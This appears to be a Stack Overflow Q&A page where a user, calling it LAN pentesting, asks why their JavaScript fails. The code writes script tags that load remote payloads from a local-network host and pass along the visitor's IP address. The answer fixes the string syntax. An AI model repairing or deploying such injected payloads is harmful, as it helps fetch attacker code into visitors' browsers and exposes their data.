0

Thanks for taking the time to read this and help me out.

I'm trying to do internal LAN testing and am really not into javascript, which would explain why my code is not working.

Anyone knows what is wrong ? I think my formatting somewhere.

function pentest()
{ 
x = document.getElementById("pentestpayload");

if (x == null)
{
    document.write ( " <script>function getip(json) {
    document.write('<script type=\\\"application/javascript\\\"
    src=\\\"http://192.168.1.64:1000/pony.php?id=\'+
    json.ip + \'\\\"></scr\'+\'ipt>');
};</script>
");
document.write("<script id='pentestpayload' type='application/javascript'
src='http://192.168.1.64:1001/panel/getpony.php?pony=getpony'></script>");
}
}
pentest();

firebug gives the following error in javascript console:

 SyntaxError: unterminated string literal

 document.write ( " <script>function getip(json) { document.write('<script typ

 test.js (line 7, col 17)`
r-d-r-b-3
  • 325
  • 2
  • 11

1 Answers1

0
document.write ( " <script>function getip(json) {

should be

document.write ( " <script>function getip(json) { ");

as you're not ending the function document.write() with a closing " (which ends the string) and the ) which ends the function.

But that's also faulty, what you most likely want is how to do a multiline string which you format like this

"myString \
that keeps on rocking"

But what you're trying to do isn't really optimal and should be avoided overall.

Henrik Andersson
  • 45,354
  • 16
  • 98
  • 92